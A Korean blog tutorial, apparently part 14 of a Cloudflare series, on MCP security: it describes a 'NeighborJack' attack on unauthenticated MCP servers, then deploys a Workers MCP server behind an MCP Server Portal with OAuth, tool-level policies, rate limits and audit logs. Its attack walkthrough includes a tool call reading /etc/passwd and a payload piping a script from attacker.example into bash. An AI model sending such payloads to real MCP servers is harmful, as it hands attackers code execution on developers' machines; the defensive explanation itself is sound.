[Cloudflare 완전 정복: 입문부터 2026 AI 에이전트까지] 14/16화: MCP Server Portals: AI 에이전트 보안 완전 정복
이 글은 「Cloudflare 완전 정복」 시리즈의 14회입니다. 지난 13회에서 Agents Week 2026의 전체 그림 — Dynamic Workers, Sandboxes, Artifacts — 을 조감했다면, 오늘은 그 퍼즐 중 보안이라는 가장 날카로운 조각을 꺼내 깊이 파고듭니다. 바로 MCP Server Portals, AI 에이전트 시대의 Zero Trust 게이트웨이입니다.
2026년 여름, AI 에이전트는 더 이상 “사용자의 질문에 텍스트로 답하는 챗봇”이 아닙니다. 에이전트는 외부 API를 호출하고, 데이터베이스를 조회하고, 파일 시스템을 조작하고, 이메일을 보냅니다. 이 모든 외부 행위의 표준 통신 규약으로 자리 잡은 것이 MCP(Model Context Protocol)입니다. 그런데 여기 치명적인 질문이 하나 있습니다. “에이전트가 도구를 호출할 때, 그 호출이 정당한지 누가 검증하는가?”
이 질문에 대한 업계의 첫 번째 대답은 참담했습니다. 아무도 검증하지 않았습니다. 그리고 그 결과로 NeighborJack이라는 치명적 취약점이 터졌습니다. 오늘 글에서는 이 위험을 빌드업으로 삼아, Cloudflare가 내놓은 해법 — MCP Server Portals — 의 아키텍처, 실전 배포, 그리고 홈랩 적용까지 빠짐없이 다루겠습니다.

MCP 프로토콜, 2분 만에 이해하기
MCP Server Portals를 제대로 이해하려면 먼저 MCP 프로토콜 자체를 알아야 합니다. MCP는 Anthropic이 2024년 11월에 공개한 오픈 프로토콜로, AI 모델(호스트)이 외부 도구·데이터에 접근하는 방식을 표준화합니다.
MCP의 세 가지 핵심 개념
- Tools(도구): 에이전트가 실행할 수 있는 함수입니다. 날씨 조회, DB 쿼리, 파일 생성 등이 여기에 해당합니다. JSON Schema로 입력·출력을 정의하며, 에이전트는 이 스키마를 보고 어떤 도구를 언제 호출할지 판단합니다.
- Resources(리소스): 에이전트가 읽을 수 있는 데이터 소스입니다. 파일 내용, 데이터베이스 레코드, API 응답 등을 구조화된 형태로 노출합니다.
- Prompts(프롬프트): 서버가 제공하는 미리 정의된 대화 템플릿입니다. 복잡한 워크플로를 사용자가 한 번의 선택으로 시작할 수 있게 합니다.
MCP의 통신 방식: stdio에서 HTTP로
MCP는 두 가지 전송 방식을 지원합니다.
- stdio(표준 입출력): MCP 서버를 로컬 프로세스로 실행하고, 부모 프로세스(호스트)와 stdin/stdout으로 JSON-RPC 메시지를 주고받습니다. 설정이 간단하지만, 같은 머신에서만 작동합니다.
- Streamable HTTP: HTTP 요청·응답 + Server-Sent Events(SSE) 기반 전송입니다. 네트워크를 넘어 원격 MCP 서버에 접속할 수 있습니다. 이것이 AI 에이전트 시대에 필수적인 모드이며, 동시에 보안 문제의 진원지입니다.
프로토콜 자체는 JSON-RPC 2.0 위에 구축됩니다. 클라이언트(에이전트)가 tools/call 메서드로 도구를 호출하면, 서버가 결과를 JSON으로 반환합니다. 단순하고 우아한 설계입니다. 그런데 이 단순함이 바로 보안 구멍이 됩니다.
// MCP JSON-RPC 도구 호출 예시
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute_shell",
"arguments": {
"command": "cat /etc/passwd"
}
}
}
위 예시를 보세요. MCP 서버에 execute_shell이라는 도구가 등록되어 있다면, 연결만 성공하면 누구든 이 도구를 호출할 수 있습니다. 초기 MCP 사양에는 인증(Authentication)과 인가(Authorization) 계층이 존재하지 않았습니다.
NeighborJack — MCP 보안의 경고등이 울리다
2025년 하반기, 보안 연구자들이 MCP 서버의 구조적 취약점을 체계적으로 공개하기 시작했습니다. 그중 가장 충격적이었던 것이 NeighborJack입니다. 이 취약점은 단순한 소프트웨어 버그가 아니라 아키텍처 설계의 근본적 결함을 드러냈습니다.
공격 시나리오: 0.0.0.0 바인딩의 함정
많은 MCP 서버 구현체가 HTTP 모드에서 0.0.0.0(모든 인터페이스)에 바인딩하거나, 127.0.0.1(로컬호스트)에 바인딩하더라도 아무런 인증 없이 요청을 수락했습니다. 공격 흐름은 다음과 같습니다.
1단계 — 정찰: 공격자가 같은 네트워크(또는 같은 머신)에서 열린 포트를 스캔합니다. MCP 서버는 흔히 3000, 8080, 5173 같은 개발용 포트에 바인딩됩니다.
2단계 — MCP 핸드셰이크: 열린 포트를 발견하면 initialize 메서드를 보내 MCP 핸드셰이크를 시도합니다. 인증이 없으므로 서버는 곧바로 기능 목록(capabilities)을 반환합니다.
// 공격자의 초기화 요청
{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2025-03-26",
"capabilities": {},
"clientInfo": {
"name": "totally-legitimate-client",
"version": "1.0.0"
}
}
}
// 서버의 무방비 응답 — 도구 목록 포함
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"protocolVersion": "2025-03-26",
"capabilities": {
"tools": { "listChanged": true }
},
"serverInfo": {
"name": "dev-assistant",
"version": "0.3.0"
}
}
}
3단계 — 도구 열거: tools/list를 호출해 사용 가능한 모든 도구를 파악합니다. 파일 읽기, 코드 실행, 데이터베이스 쿼리 같은 강력한 도구가 나열됩니다.
4단계 — 악용: 가장 위험한 도구를 호출합니다. execute_command, write_file, run_query 같은 도구로 호스트 시스템을 장악합니다.
// 실제 NeighborJack 공격 페이로드 예시
{
"jsonrpc": "2.0",
"id": 42,
"method": "tools/call",
"params": {
"name": "run_terminal_command",
"arguments": {
"command": "curl https://attacker.example/payload.sh | bash"
}
}
}
왜 이것이 심각한가
NeighborJack이 특별히 위험한 이유는 공격 표면의 넓이에 있습니다.
- 같은 Wi-Fi면 충분합니다: 카페, 공유 오피스, 호텔 Wi-Fi에서 개발자의 로컬 MCP 서버에 접근할 수 있습니다.
0.0.0.0바인딩이면 LAN 전체에 노출됩니다. - 로컬호스트도 안전하지 않습니다:
127.0.0.1바인딩이라 해도 같은 머신의 다른 프로세스(악성 확장, 감염된 npm 패키지 등)가 접근 가능합니다. 브라우저의 악성 JavaScript가fetch("http://127.0.0.1:3000/sse")로 MCP 서버에 접속한 사례도 보고되었습니다. - 도구의 권한이 곧 피해 규모입니다: MCP 서버에 등록된 도구가 파일 시스템 접근이나 셸 명령 실행 권한을 가지고 있다면, 공격자는 그 권한을 그대로 물려받습니다. 호스트 OS의 모든 파일을 읽고, 임의의 명령을 실행하고, 내부 네트워크를 피벗 포인트로 삼을 수 있습니다.
- 탐지가 어렵습니다: MCP 프로토콜은 일반적인 HTTP 트래픽과 구분하기 어렵습니다. 별도의 감사 로그가 없으면 공격이 일어난 사실조차 알 수 없습니다.
“로컬에서만 쓸 건데요” — 이 변명이 통하지 않는 이유
많은 개발자가 “MCP 서버는 내 로컬에서만 돌리니까 괜찮다”고 생각합니다. 하지만 2026년의 현실은 다릅니다.
- AI 에이전트는 원격으로 진화 중입니다: 에이전트가 사용자 PC에서 직접 도구를 호출하는 시대는 지나가고 있습니다. 클라우드의 에이전트가 원격 MCP 서버의 도구를 호출하는 패턴이 표준이 되고 있습니다.
- 팀 공유가 필수입니다: 혼자 쓰는 MCP 서버라면 로컬로 충분하지만, 팀원이 같은 도구 세트를 공유하려면 네트워크에 노출해야 합니다.
- CI/CD 파이프라인이 호출합니다: 빌드 서버, 테스트 러너, 배포 파이프라인에서 MCP 도구를 호출하는 사례가 늘고 있습니다.
결론은 명확합니다. MCP 서버에는 1) 인증, 2) 인가, 3) 전송 암호화, 4) 감사 로그라는 네 가지 보안 계층이 반드시 필요합니다. 그리고 이 네 가지를 한 번에 해결하는 것이 바로 Cloudflare MCP Server Portals입니다.
MCP Server Portals — AI 에이전트의 Zero Trust 게이트웨이
Agents Week 2026에서 Cloudflare가 발표한 MCP Server Portals는 한 문장으로 요약하면 이렇습니다.
“MCP 서버 앞에 놓는 Zero Trust 리버스 프록시. 모든 도구 호출을 인증·인가·로깅한 뒤에만 백엔드 MCP 서버로 전달한다.”
6회에서 다뤘던 Cloudflare Access가 웹 애플리케이션을 보호하는 Zero Trust 게이트웨이였다면, MCP Server Portals는 MCP 프로토콜 트래픽을 보호하는 특화된 게이트웨이입니다. 같은 Zero Trust 철학을 AI 에이전트 통신에 적용한 것입니다.

MCP Server Portals가 해결하는 것
NeighborJack에서 드러난 네 가지 보안 공백을 하나씩 메웁니다.
- 인증(Authentication): OAuth 2.1 기반 토큰 인증. 모든 MCP 클라이언트(에이전트)는 유효한 액세스 토큰을 제시해야 연결이 시작됩니다.
- 인가(Authorization): 도구 단위의 접근 제어. “이 에이전트는
get_weather는 호출할 수 있지만execute_shell은 호출할 수 없다”를 정책으로 정의합니다. - 전송 보안(Transport Security): Cloudflare 엣지를 경유하므로 TLS가 기본 적용됩니다. 에이전트와 MCP 서버 사이 평문 통신은 원천 차단됩니다.
- 감사 로그(Audit Logging): 누가, 언제, 어떤 도구를, 어떤 인자로 호출했는지 전부 기록됩니다. Workers Analytics Engine과 Logpush로 외부 SIEM에 연동할 수 있습니다.
Portal의 위치: 아키텍처 속에서 보기
MCP Server Portals는 Cloudflare 생태계의 여러 구성 요소 위에 구축됩니다.
- Workers(9회): MCP 서버 로직이 실행되는 컴퓨팅 기반.
- Durable Objects(10회): MCP 세션의 상태(핸드셰이크 결과, 진행 중인 요청 등)를 유지하는 영속 계층.
- Cloudflare Access(6회): Zero Trust 정책 엔진. 에이전트의 신원을 검증하고 접근을 제어합니다.
- Cloudflare Tunnel(5회, 선택): 자체 호스팅 MCP 서버를 Cloudflare 네트워크에 안전하게 연결합니다.
이 조합이 만들어내는 흐름은 다음과 같습니다.
AI 에이전트
│
▼ HTTPS + OAuth 2.1 Bearer Token
┌─────────────────────────────┐
│ MCP Server Portal │
│ (Cloudflare Edge) │
│ │
│ ✓ 토큰 검증 │
│ ✓ 도구별 인가 체크 │
│ ✓ 레이트 리밋 │
│ ✓ 감사 로그 기록 │
└─────────────┬───────────────┘
│
▼ JSON-RPC 전달
┌─────────────────────────────┐
│ MCP 서버 (백엔드) │
│ │
│ 옵션 A: Workers + DO │
│ 옵션 B: 자체 호스팅 │
│ (Tunnel 경유) │
└─────────────────────────────┘
핵심은 에이전트가 백엔드 MCP 서버의 주소를 직접 알 필요가 없다는 것입니다. 에이전트는 Portal의 공개 URL만 알면 되고, 실제 MCP 서버의 위치는 Portal 뒤에 감춰집니다. 이것이 바로 Zero Trust의 기본 원칙 — “암묵적 신뢰를 제거하라” — 의 적용입니다.
아키텍처 깊이 보기: Portal은 어떻게 작동하는가
연결 생명주기
에이전트가 MCP Server Portal에 접속하면 다음과 같은 생명주기를 거칩니다.
1. 인증 단계 (Authentication Phase)
에이전트가 Portal URL로 HTTP 요청을 보내면, Portal은 먼저 Authorization 헤더의 Bearer 토큰을 검사합니다. 토큰이 없거나 유효하지 않으면 401 Unauthorized를 반환하고, OAuth 2.1 인증 흐름으로 리다이렉트합니다.
# 인증 없이 접속 시도 → 401
curl -X POST https://mcp.example.com/sse \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{...}}'
# 응답: 401 Unauthorized
# WWW-Authenticate: Bearer realm="mcp-portal",
# authorization_uri="https://example.cloudflareaccess.com/cdn-cgi/access/authorize"
2. 세션 수립 (Session Establishment)
토큰이 유효하면 Portal은 Durable Object 인스턴스를 할당하여 MCP 세션을 생성합니다. 이 세션은 에이전트의 연결이 유지되는 동안 상태를 보존합니다. WebSocket 또는 SSE 연결이 맺어지고, MCP initialize 핸드셰이크가 Portal을 통해 백엔드 서버로 전달됩니다.
3. 도구 호출 프록시 (Tool Call Proxying)
에이전트의 tools/call 요청이 Portal에 도착하면, 다음 순서로 처리됩니다.
- 인가 체크: 이 에이전트(토큰의 identity)가 이 도구(tool name)를 호출할 권한이 있는지 Zero Trust 정책을 평가합니다.
- 레이트 리밋: 분당/시간당 호출 한도를 초과하지 않았는지 확인합니다.
- 인자 검증: (선택) 도구의 JSON Schema에 따라 입력 인자를 사전 검증할 수 있습니다.
- 감사 로그 기록: 호출 메타데이터(타임스탬프, 에이전트 ID, 도구 이름, 인자 해시, 소스 IP)를 기록합니다.
- 프록시 전달: 모든 검사를 통과하면 요청을 백엔드 MCP 서버로 전달합니다.
- 응답 반환: 백엔드의 응답을 에이전트에게 중계합니다.
4. 연결 종료 (Teardown)
에이전트가 연결을 닫으면 Portal은 세션 상태를 정리하고, 최종 감사 로그 엔트리를 기록합니다. Durable Object는 유휴 상태로 전환되며, 일정 시간 후 자동 해제됩니다.
다중 백엔드 라우팅
하나의 Portal이 여러 MCP 서버를 묶을 수 있습니다. 도구 이름 프리픽스나 네임스페이스 기반으로 요청을 적절한 백엔드로 라우팅합니다. 예를 들어:
# Portal 라우팅 설정 예시 (wrangler.toml)
[vars]
PORTAL_ROUTES = '''
{
"weather.*": "weather-mcp-server.workers.dev",
"db.*": "database-mcp-server.workers.dev",
"files.*": "https://nas.internal:8443"
}
'''
이 설정에서 weather.get_forecast 도구 호출은 날씨 MCP 서버로, db.run_query는 데이터베이스 MCP 서버로, files.read_document는 Tunnel을 통해 NAS의 자체 호스팅 MCP 서버로 전달됩니다. 에이전트 입장에서는 하나의 Portal 엔드포인트만 알면 되므로 통합이 깔끔합니다.
Durable Objects가 핵심인 이유
MCP는 상태를 가지는 프로토콜입니다. initialize로 세션을 열고, 그 세션 안에서 도구를 호출하고, 리소스를 구독합니다. Stateless한 일반 Workers로는 이 생명주기를 관리할 수 없습니다. Durable Objects가 각 MCP 세션을 하나의 인스턴스로 캡슐화하여, 세션 전체의 상태를 일관되게 유지합니다.
10회에서 다뤘던 Durable Objects의 특성 — 단일 스레드 보장, 영속 스토리지, WebSocket 하이버네이션 — 이 MCP 세션 관리에 정확히 맞아떨어집니다.
실전 배포: Workers 기반 MCP 서버 만들기
이론은 충분합니다. 이제 실제로 MCP 서버를 Workers에 배포하고, Portal로 보호하는 과정을 단계별로 진행합니다.
사전 준비
- Node.js 18+ 설치 (Mac Studio 또는 로컬 개발 머신)
- Cloudflare 계정 (Free 플랜 가능)
- Wrangler CLI 설치 (11회 참조)
# Wrangler 최신 버전 설치
npm install -g wrangler@latest
# Cloudflare 로그인
wrangler login
Step 1: 프로젝트 생성
# MCP 서버 프로젝트 스캐폴딩
npm create cloudflare@latest -- my-mcp-server \
--template=cloudflare/ai-utils/demos/agents-mcp-server
cd my-mcp-server
# 의존성 설치
npm install
위 명령어는 Cloudflare의 공식 MCP 서버 템플릿으로 프로젝트를 생성합니다. agents 패키지와 @modelcontextprotocol/sdk가 자동으로 포함됩니다.
Step 2: MCP 서버 코드 작성
실전 예제로 사내 문서 검색 + 날씨 조회 MCP 서버를 만들어 보겠습니다.
// src/index.ts
import { McpAgent } from "agents/mcp";
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
import { z } from "zod";
// --- 환경 바인딩 타입 ---
interface Env {
MCP_SERVER: DurableObjectNamespace;
DOCS_DB: D1Database; // 사내 문서 검색용 D1
WEATHER_API_KEY: string; // 날씨 API 키 (wrangler secret)
}
// --- MCP 서버 (Durable Object) ---
export class DocToolsMcpServer extends McpAgent<Env> {
server = new McpServer({
name: "doc-tools",
version: "1.0.0",
});
async init() {
// 도구 1: 사내 문서 검색
this.server.tool(
"search_docs",
"Search internal documentation by keyword",
{
query: z.string().describe("Search keyword or phrase"),
limit: z.number().min(1).max(50).default(10)
.describe("Maximum number of results"),
},
async ({ query, limit }) => {
const results = await this.env.DOCS_DB.prepare(
`SELECT title, snippet, url
FROM documents
WHERE documents MATCH ?1
ORDER BY rank
LIMIT ?2`
)
.bind(query, limit)
.all();
return {
content: [
{
type: "text",
text: JSON.stringify(results.results, null, 2),
},
],
};
}
);
// 도구 2: 날씨 조회
this.server.tool(
"get_weather",
"Get current weather for a specified city",
{
city: z.string().describe("City name (e.g., Seoul, Tokyo)"),
},
async ({ city }) => {
const resp = await fetch(
`https://api.weatherapi.com/v1/current.json` +
`?key=${this.env.WEATHER_API_KEY}` +
`&q=${encodeURIComponent(city)}&lang=ko`
);
if (!resp.ok) {
return {
content: [
{
type: "text",
text: `날씨 조회 실패: ${resp.status} ${resp.statusText}`,
},
],
isError: true,
};
}
const data = (await resp.json()) as {
current: {
temp_c: number;
condition: { text: string };
humidity: number;
wind_kph: number;
};
location: { name: string; country: string };
};
const summary = [
`📍 ${data.location.name}, ${data.location.country}`,
`🌡️ ${data.current.temp_c}°C — ${data.current.condition.text}`,
`💧 습도 ${data.current.humidity}%`,
`💨 풍속 ${data.current.wind_kph} km/h`,
].join("\n");
return {
content: [{ type: "text", text: summary }],
};
}
);
// 도구 3: 문서 상세 조회 (리소스 활용)
this.server.tool(
"get_doc_content",
"Retrieve the full content of a document by its ID",
{
doc_id: z.string().describe("Document ID from search results"),
},
async ({ doc_id }) => {
const row = await this.env.DOCS_DB.prepare(
"SELECT title, content, updated_at FROM documents WHERE id = ?"
)
.bind(doc_id)
.first();
if (!row) {
return {
content: [
{ type: "text", text: `Document ${doc_id} not found` },
],
isError: true,
};
}
return {
content: [
{
type: "text",
text: `# ${row.title}\n\n${row.content}\n\n---\nLast updated: ${row.updated_at}`,
},
],
};
}
);
}
}
// --- Worker 진입점 ---
export default {
async fetch(
request: Request,
env: Env
): Promise<Response> {
const url = new URL(request.url);
// MCP 엔드포인트 라우팅
if (url.pathname === "/sse" || url.pathname === "/sse/message") {
// 세션 ID 기반 DO 인스턴스 할당
const sessionId =
url.searchParams.get("sessionId") ?? "default";
const id = env.MCP_SERVER.idFromName(sessionId);
const stub = env.MCP_SERVER.get(id);
return stub.fetch(request);
}
// 헬스체크
if (url.pathname === "/health") {
return Response.json({ status: "ok", server: "doc-tools" });
}
return new Response("MCP Server — doc-tools v1.0.0", {
status: 200,
});
},
};
Step 3: Wrangler 설정
# wrangler.toml
name = "doc-tools-mcp"
main = "src/index.ts"
compatibility_date = "2026-06-01"
compatibility_flags = ["nodejs_compat"]
# --- Durable Objects ---
[durable_objects]
bindings = [
{ name = "MCP_SERVER", class_name = "DocToolsMcpServer" }
]
[[migrations]]
tag = "v1"
new_classes = ["DocToolsMcpServer"]
# --- D1 Database ---
[[d1_databases]]
binding = "DOCS_DB"
database_name = "internal-docs"
database_id = "your-d1-database-id-here"
# --- 환경 변수 (비밀이 아닌 것) ---
[vars]
MCP_SERVER_NAME = "doc-tools"
Step 4: 시크릿 등록 및 배포
# 날씨 API 키를 시크릿으로 등록 (11회에서 다룬 wrangler secret)
wrangler secret put WEATHER_API_KEY
# 프롬프트에서 API 키 입력
# 로컬 테스트
wrangler dev
# 배포
wrangler deploy
배포가 완료되면 https://doc-tools-mcp.{your-subdomain}.workers.dev에 MCP 서버가 올라갑니다. 하지만 이 상태로는 인증이 없습니다. 누구든 이 URL을 알면 도구를 호출할 수 있습니다. NeighborJack 시나리오 그대로입니다.
이제 Portal을 씌울 차례입니다.
Step 5: MCP Inspector로 로컬 테스트
Portal을 설정하기 전에 먼저 MCP 서버가 정상 작동하는지 확인합니다.
# MCP Inspector 설치 및 실행 (로컬 dev 서버에 연결)
npx @anthropic/mcp-inspector http://localhost:8787/sse
MCP Inspector는 브라우저 기반 UI로 MCP 서버의 도구 목록을 확인하고, 각 도구를 수동으로 호출하여 결과를 검증할 수 있는 디버깅 도구입니다. 세 개의 도구(search_docs, get_weather, get_doc_content)가 정상적으로 나열되는지 확인하세요.
Portal 생성과 Zero Trust 정책 연결
MCP 서버를 배포했으니, 이제 그 앞에 MCP Server Portal을 세워 보안 계층을 추가합니다.
대시보드에서 Portal 생성
Cloudflare 대시보드에서의 설정 경로입니다.
- Zero Trust 대시보드로 이동합니다 (dash.teams.cloudflare.com).
- 좌측 메뉴에서 Access → MCP Portals를 선택합니다.
- Create Portal을 클릭합니다.
- 다음 항목을 설정합니다:
- Portal Name:
doc-tools-portal - Public Hostname:
mcp.yourdomain.com(DNS에 자동 CNAME 추가) - Backend Origin:
doc-tools-mcp.{subdomain}.workers.dev - Authentication: OAuth 2.1 (기본 권장) 또는 Service Token
- Portal Name:
- Save를 클릭합니다.
Wrangler CLI로 Portal 생성 (자동화용)
대시보드 대신 CLI로도 가능합니다. CI/CD 파이프라인이나 인프라-as-코드 방식에 적합합니다.
# Cloudflare API를 사용한 Portal 생성
curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/ai-gateway/mcp-portals" \
-H "Authorization: Bearer {api_token}" \
-H "Content-Type: application/json" \
-d '{
"name": "doc-tools-portal",
"hostname": "mcp.yourdomain.com",
"origin": "https://doc-tools-mcp.your-subdomain.workers.dev",
"auth": {
"type": "oauth2",
"issuer": "https://yourdomain.cloudflareaccess.com"
}
}'
Access 정책 설정: 누가 어떤 도구를 쓸 수 있는가
Portal을 만들었으면 이제 Access Policy를 연결하여 접근을 제어합니다. 이것이 MCP Server Portals의 핵심 차별점입니다 — 도구 단위의 세밀한 인가를 Zero Trust 정책으로 관리할 수 있습니다.
# Access Application 생성 (Portal에 연결)
curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/access/apps" \
-H "Authorization: Bearer {api_token}" \
-H "Content-Type: application/json" \
-d '{
"name": "doc-tools-mcp-portal",
"domain": "mcp.yourdomain.com",
"type": "self_hosted",
"session_duration": "24h",
"policies": [
{
"name": "Allow internal agents",
"decision": "allow",
"include": [
{
"service_token": {
"token_id": "{service_token_id}"
}
}
]
},
{
"name": "Allow team email",
"decision": "allow",
"include": [
{
"email_domain": {
"domain": "yourcompany.com"
}
}
]
}
]
}'
위 설정은 두 가지 접근 경로를 열어 둡니다.
- Service Token: 자동화된 에이전트(CI/CD, 백엔드 서비스)가 사용하는 머신-투-머신 인증입니다. 사람의 개입 없이 프로그래매틱하게 접속합니다.
- 이메일 도메인: 회사 이메일을 가진 사용자가 브라우저 기반 MCP 클라이언트(예: MCP Inspector)로 접속할 때 사용합니다.
도구별 인가 정책 (Tool-Level Authorization)
Portal의 진정한 힘은 도구 단위 정책에 있습니다. 모든 에이전트에게 모든 도구를 열어 주는 대신, 역할 기반으로 도구 접근을 제한할 수 있습니다.
# Portal 도구 정책 설정
curl -X PUT "https://api.cloudflare.com/client/v4/accounts/{account_id}/ai-gateway/mcp-portals/{portal_id}/tool-policies" \
-H "Authorization: Bearer {api_token}" \
-H "Content-Type: application/json" \
-d '{
"policies": [
{
"tool_name": "search_docs",
"allowed_identities": ["service_token:agent-readonly", "group:all-employees"],
"rate_limit": { "requests_per_minute": 60 }
},
{
"tool_name": "get_weather",
"allowed_identities": ["*"],
"rate_limit": { "requests_per_minute": 30 }
},
{
"tool_name": "get_doc_content",
"allowed_identities": ["service_token:agent-readonly", "group:engineering"],
"rate_limit": { "requests_per_minute": 30 }
}
]
}'
이 설정에서:
search_docs: 읽기 전용 에이전트 토큰과 전 직원이 사용 가능. 분당 60회 제한.get_weather: 인증된 모든 사용자에게 열림. 분당 30회 제한.get_doc_content: 읽기 전용 에이전트와 엔지니어링 그룹만 접근 가능.
만약 마케팅 팀의 에이전트가 get_doc_content를 호출하면? Portal이 403 Forbidden을 반환합니다. 도구 호출이 백엔드 MCP 서버에 도달하기도 전에 차단됩니다.

OAuth 2.1 에이전트 인증 흐름 상세
MCP Server Portals는 OAuth 2.1을 인증 프레임워크로 채택합니다. 2024년에 확정된 OAuth 2.1은 OAuth 2.0의 보안 모범 사례를 의무화한 버전으로, PKCE 필수·암시적 허가(Implicit Grant) 제거·리프레시 토큰 순환 등이 기본 포함됩니다. AI 에이전트 시나리오에서는 주로 두 가지 흐름을 사용합니다.
흐름 1: Client Credentials Grant (머신-투-머신)
자동화된 에이전트가 사람의 개입 없이 토큰을 발급받는 흐름입니다. CI/CD 파이프라인의 에이전트, 백엔드 서비스의 에이전트에 적합합니다.
# 1. Service Token 생성 (최초 1회)
curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/access/service_tokens" \
-H "Authorization: Bearer {api_token}" \
-H "Content-Type: application/json" \
-d '{
"name": "weather-agent",
"duration": "8760h"
}'
# 응답에서 client_id와 client_secret 획득
# {
# "result": {
# "client_id": "abc123...",
# "client_secret": "secret456...",
# "expires_at": "2027-06-18T00:00:00Z"
# }
# }
# 2. 에이전트가 Access Token 발급
curl -X POST "https://yourdomain.cloudflareaccess.com/cdn-cgi/access/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=client_credentials" \
-d "client_id=abc123..." \
-d "client_secret=secret456..."
# 3. 발급받은 토큰으로 MCP Portal 접속
curl -X POST "https://mcp.yourdomain.com/sse" \
-H "Authorization: Bearer {access_token}" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2025-03-26",
"capabilities": {},
"clientInfo": {"name": "weather-agent", "version": "1.0.0"}
}
}'
흐름 2: Authorization Code Grant + PKCE (사용자 대면)
사용자가 브라우저 기반 AI 앱에서 MCP 도구를 사용하는 시나리오입니다. 사용자가 Cloudflare Access 로그인 페이지에서 인증한 뒤, 에이전트가 사용자를 대신하여 MCP 도구를 호출합니다.
// 프론트엔드 에이전트 앱의 OAuth 2.1 + PKCE 흐름 (TypeScript)
// 1. Code Verifier 생성 (PKCE)
const codeVerifier = generateRandomString(128);
const codeChallenge = await sha256Base64Url(codeVerifier);
// 2. Authorization URL로 리다이렉트
const authUrl = new URL(
"https://yourdomain.cloudflareaccess.com/cdn-cgi/access/authorize"
);
authUrl.searchParams.set("response_type", "code");
authUrl.searchParams.set("client_id", MCP_CLIENT_ID);
authUrl.searchParams.set("redirect_uri", "https://app.example.com/callback");
authUrl.searchParams.set("scope", "mcp:tools");
authUrl.searchParams.set("code_challenge", codeChallenge);
authUrl.searchParams.set("code_challenge_method", "S256");
window.location.href = authUrl.toString();
// 3. 콜백에서 Authorization Code 수신 후 토큰 교환
const tokenResp = await fetch(
"https://yourdomain.cloudflareaccess.com/cdn-cgi/access/token",
{
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: new URLSearchParams({
grant_type: "authorization_code",
code: authorizationCode,
redirect_uri: "https://app.example.com/callback",
client_id: MCP_CLIENT_ID,
code_verifier: codeVerifier,
}),
}
);
const { access_token } = await tokenResp.json();
// 4. 토큰으로 MCP Portal에 SSE 연결
const eventSource = new EventSource(
`https://mcp.yourdomain.com/sse?token=${access_token}`
);
토큰 생명주기 관리
Portal은 토큰의 전체 생명주기를 관리합니다.
- 발급: 위 두 가지 흐름 중 하나로 Access Token을 발급합니다.
- 갱신: Access Token의 TTL이 만료되기 전에 Refresh Token으로 새 토큰을 발급합니다. MCP 세션이 유지되는 동안 Portal이 자동으로 갱신합니다.
- 폐기: 보안 사고 시 특정 Service Token을 즉시 폐기할 수 있습니다. 폐기된 토큰의 MCP 세션은 즉시 종료됩니다.
- 순환: OAuth 2.1의 필수 사항인 Refresh Token Rotation이 적용됩니다. 사용된 Refresh Token은 즉시 무효화되어 토큰 탈취 공격을 방어합니다.
레이트 리밋과 인자 검증: 에이전트 폭주 방어
인증·인가 다음으로 중요한 것이 사용량 제어입니다. AI 에이전트는 사람과 달리 초당 수백 번의 API 호출을 할 수 있고, 잘못된 루프에 빠지면 백엔드 시스템을 순식간에 압도합니다.
다단계 레이트 리밋
Portal은 세 가지 수준의 레이트 리밋을 지원합니다.
# Portal 레이트 리밋 설정 예시
curl -X PUT ".../mcp-portals/{portal_id}/rate-limits" \
-H "Authorization: Bearer {api_token}" \
-H "Content-Type: application/json" \
-d '{
"global": {
"requests_per_minute": 300,
"requests_per_hour": 5000
},
"per_identity": {
"requests_per_minute": 60,
"requests_per_hour": 1000
},
"per_tool": {
"search_docs": { "requests_per_minute": 30 },
"get_doc_content": { "requests_per_minute": 20 },
"get_weather": { "requests_per_minute": 10 }
}
}'
- 글로벌 리밋: Portal 전체의 총 처리량을 제한합니다. 백엔드 MCP 서버의 용량 보호 목적입니다.
- ID별 리밋: 특정 에이전트(Service Token) 또는 사용자가 독점하는 것을 방지합니다.
- 도구별 리밋: 비용이 높은 도구(DB 쿼리 등)에 더 엄격한 제한을 둡니다.
리밋에 도달하면 Portal은 429 Too Many Requests를 반환하고, Retry-After 헤더로 재시도 시점을 알려 줍니다.
입력 인자 검증 (Schema Enforcement)
Portal은 도구 호출의 인자를 백엔드에 전달하기 전에 JSON Schema로 사전 검증할 수 있습니다. 백엔드 MCP 서버가 자체적으로 검증하더라도, Portal에서 먼저 걸러내면 잘못된 요청이 백엔드까지 도달하지 않아 리소스를 절약합니다.
# 도구 인자 스키마 강제 설정
curl -X PUT ".../mcp-portals/{portal_id}/schema-enforcement" \
-H "Authorization: Bearer {api_token}" \
-H "Content-Type: application/json" \
-d '{
"enabled": true,
"mode": "strict",
"additional_constraints": {
"search_docs": {
"query": { "maxLength": 500 },
"limit": { "maximum": 20 }
}
}
}'
mode: "strict"에서는 스키마에 정의되지 않은 추가 필드가 포함된 요청을 거부합니다. 에이전트가 예상치 못한 인자를 주입하는 Prompt Injection → Tool Injection 공격 벡터를 차단하는 데 유용합니다.
감사 로그와 모니터링: 에이전트의 모든 행동을 기록하다
보안의 마지막 기둥은 가시성(Visibility)입니다. 에이전트가 어떤 도구를 얼마나 자주 호출하는지, 실패율은 어떤지, 비정상적인 패턴은 없는지 실시간으로 파악해야 합니다.
Portal 감사 로그 필드
Portal은 모든 도구 호출에 대해 다음 필드를 기록합니다.
{
"timestamp": "2026-06-18T10:30:45.123Z",
"portal_id": "portal-abc123",
"portal_name": "doc-tools-portal",
"session_id": "sess-xyz789",
"identity": {
"type": "service_token",
"name": "weather-agent",
"token_id": "st-abc..."
},
"tool_call": {
"method": "tools/call",
"tool_name": "search_docs",
"arguments_hash": "sha256:e3b0c44...",
"result_status": "success",
"duration_ms": 142
},
"network": {
"source_ip": "203.0.113.42",
"source_country": "KR",
"colo": "ICN"
},
"policy": {
"matched_rule": "Allow internal agents",
